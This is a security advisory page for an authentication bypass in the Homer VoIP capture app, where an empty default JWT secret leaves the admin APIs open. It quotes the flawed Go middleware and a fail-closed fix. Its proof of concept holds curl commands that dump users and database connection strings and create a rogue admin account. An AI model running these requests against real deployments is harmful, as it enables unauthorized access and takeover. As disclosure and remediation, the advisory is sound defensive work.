GHSA-RQCC-94GV-WJM9

Vulnerability from github – Published: 2026-10-07 16:11 – Updated: 2026-10-07 16:11
VLAI
Summary
Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)
Details

Summary

Both JWT middleware functions (JWTMiddleware and JWTMiddlewareV4) immediately return next(c) when jwtSecret == "". The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under /api/v1, /api/v3, and /api/v4 are completely unauthenticated.

Details

coordinator/handlers/auth.go lines 298-304:

func (h *Auth) JWTMiddleware() echo.MiddlewareFunc {
    return func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            if h.jwtSecret == "" {
                return next(c)  // bypass — no validation performed
            }

coordinator/handlers/auth_v4_helpers.go lines 177-182:

func (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {
    return func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            if h.jwtSecret == "" {
                return next(c)  // same bypass

coordinator/coordinator.go lines 315-317:

if c.config.JWT.Secret != "" {
    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty
}

config/config.go line 845: Secret field struct tag has default:"". The example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.

PoC

# On a default Homer installation (no JWT secret configured), all protected routes are open:
curl http://<homer-host>/api/v3/users
# Returns full user list with no credentials

curl http://<homer-host>/api/v3/databases
# Returns all database connection strings

curl -X POST http://<homer-host>/api/v3/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"pw","partid":10,"usergroup":"admin"}'
# Creates a new admin user with no credentials

Impact

Missing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.

Fix

Fail closed: if JWT.Secret is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:

if h.jwtSecret == "" {
    log.Fatal("coordinator.jwt.secret must be set to a non-empty value")
}

If possible, please apply for a CVE number when posting.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sipcapture/homer-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260625093330-5e90809657c9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:11:58Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nBoth JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated.\n\n### Details\n**`coordinator/handlers/auth.go` lines 298-304:**\n```go\nfunc (h *Auth) JWTMiddleware() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // bypass \u2014 no validation performed\n            }\n```\n\n**`coordinator/handlers/auth_v4_helpers.go` lines 177-182:**\n```go\nfunc (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // same bypass\n```\n\n**`coordinator/coordinator.go` lines 315-317:**\n```go\nif c.config.JWT.Secret != \"\" {\n    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty\n}\n```\n\n**`config/config.go` line 845:** `Secret` field struct tag has `default:\"\"`.\nThe example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.\n\n### PoC\n```bash\n# On a default Homer installation (no JWT secret configured), all protected routes are open:\ncurl http://\u003chomer-host\u003e/api/v3/users\n# Returns full user list with no credentials\n\ncurl http://\u003chomer-host\u003e/api/v3/databases\n# Returns all database connection strings\n\ncurl -X POST http://\u003chomer-host\u003e/api/v3/users \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"pw\",\"partid\":10,\"usergroup\":\"admin\"}\u0027\n# Creates a new admin user with no credentials\n```\n\n### Impact\nMissing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.\n\n### Fix\nFail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:\n```go\nif h.jwtSecret == \"\" {\n    log.Fatal(\"coordinator.jwt.secret must be set to a non-empty value\")\n}\n```\n\nIf possible, please apply for a CVE number when posting.",
  "id": "GHSA-rqcc-94gv-wjm9",
  "modified": "2026-10-07T16:11:58Z",
  "published": "2026-10-07T16:11:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sipcapture/homer/security/advisories/GHSA-rqcc-94gv-wjm9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipcapture/homer/pull/839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipcapture/homer/commit/5e90809657c9df321db191a69c6050f873f5646b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sipcapture/homer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipcapture/homer/releases/tag/11.0.283"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.